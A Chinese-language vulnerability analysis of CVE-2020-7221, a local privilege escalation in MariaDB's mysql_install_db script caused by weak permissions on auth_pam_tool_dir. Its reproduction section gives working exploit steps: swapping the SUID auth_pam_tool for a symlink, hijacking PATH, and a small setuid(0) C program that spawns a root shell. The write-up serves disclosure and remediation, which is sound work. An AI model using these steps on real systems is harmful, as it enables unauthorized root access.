mariadb (CVE-2020-7221) 提权漏洞分析
Posted 奇安信 CERT
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mariadb (CVE-2020-7221) 提权漏洞分析相关的知识,希望对你有一定的参考价值。
本文作者 Evi1hui @ QAX A-TEAM
MariaDB是mysql数据库系统的一个复刻,由社区开发,旨在继续保持在GNU GPL下开源。甲骨文公司收购了 MySQL 后,有将 MySQL 闭源的潜在风险,因此社区采用分支的方式来避开这个风险。MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品。近日,奇安信CERT在日常监测中从oss-security邮箱中监测到这枚MariaDB提权漏洞,经研判虽这个漏洞到达不了风险通告流程,但由于和监测到此漏洞比较有意思故有了下文展开分析。如有不足之处,欢迎批评指正。
声明:本篇文章由 Evi1hui@ QAX A-TEAM原创,仅用于技术研究,不恰当使用会造成危害,严禁违法使用 ,否则后果自负。
前言
MariaDB是MySQL数据库系统的一个复刻,由社区开发,旨在继续保持在GNU GPL下开源。甲骨文公司收购了 MySQL 后,有将 MySQL 闭源的潜在风险,因此社区采用分支的方式来避开这个风险。MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品。近日,奇安信CERT在日常监测中从oss-security邮箱中监测到这枚MariaDB提权漏洞,经研判虽这个漏洞到达不了风险通告流程,但由于和监测到此漏洞比较有意思故有了下文展开分析。如有不足之处,欢迎批评指正。
mariadb (CVE-2020-7221) 提权漏洞分析
根据oss-security邮件推送的上下文描述是在mysql_install_db脚本中配置不当导致的漏洞发生。
官方介绍:https://mariadb.com/kb/en/mysql_install_db/
根据官方描述,mysql_install_db用于初始化data数据目录,且在数据库中创建Mysql表。大概脚本是作为初始化数据等操作所使用。
docker环境搭建:
docker pull mariadb:10.4.8
docker run -it 2ef19234ff46 /bin/bash
漏洞分析
首先定位漏洞点。
find / -name "mysql_install_db"
在bash脚本上下文中,如果$user被定义则能进入「配置不当」漏洞点。
chown $user "$pamtooldir/auth_pam_tool_dir"
chmod 0700 "$pamtooldir/auth_pam_tool_dir"
这里配置了auth_pam_tool_dir目录的归属权和所有权,权限归属于$user。 (这里是可控点之一)
chown 0 "$pamtooldir/auth_pam_tool_dir/auth_pam_tool"
chmod 04755 "$pamtooldir/auth_pam_tool_dir/auth_pam_tool"
这里配置了auth_pam_tool文件为0(root)所有权,4755文件权限(4为suid权限)。想要进入这个漏洞点需要$srcdir变量值长度为0才能触发。
关于suid属性:
SUID属性一般用在可执行文件上,当用户执行该文件时,会「临时拥有该执行文件的所有者权限」。一旦程序拥有SUID权限的话,运行该程序时会以最高权限运行。
回溯 $srcdir 与 $user
$user
在脚本传递args参数时可控制$user变量。
$srcdir
也在初始化操作时可控制变量,初始化时为空。
那么想要进入这个漏洞点需要$srcdir为空,$user需要设置值。
结合上文描述使用此命令才能触发漏洞点:
./mysql_install_db --user=mysql
漏洞复现
寻找suid属性的程序
find /* -perm -u=s -type f 2>/dev/null
搜索到的suid属性程序「auth_pam_tool」替换成我们的恶意suid程序。
1. rm auth_pam_tool
2. ln -s /root/pwn auth_pam_tool
3. export PATH=.:$PATH
4. ln -s /bin/bash ps
编写一个具有suid权限的恶意程序:
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
setuid(0);
setgid(0);
system("ps");
return 0;
}
切换回root,在root权限下运行mysql_install_db脚本(触发修改chmod命令)
再回到mysql用户权限下执行auth_pam_tool
提权成功。
可以看到这个漏洞是由于suid与目录权限设置不当,才导致被提权利用的风险。建议在修复中设置auth_pam_tool_dir目录权限为root所有:
root:mysql 0750 /usr/lib/mysql/plugin/auth_pam_tool_dir
参考文档:
https://hub.docker.com/_/mariadb?tab=tags&page=2
https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/
https://mochazz.github.io/2018/06/09/Linux提权之SUID/#介绍
以上是关于mariadb (CVE-2020-7221) 提权漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章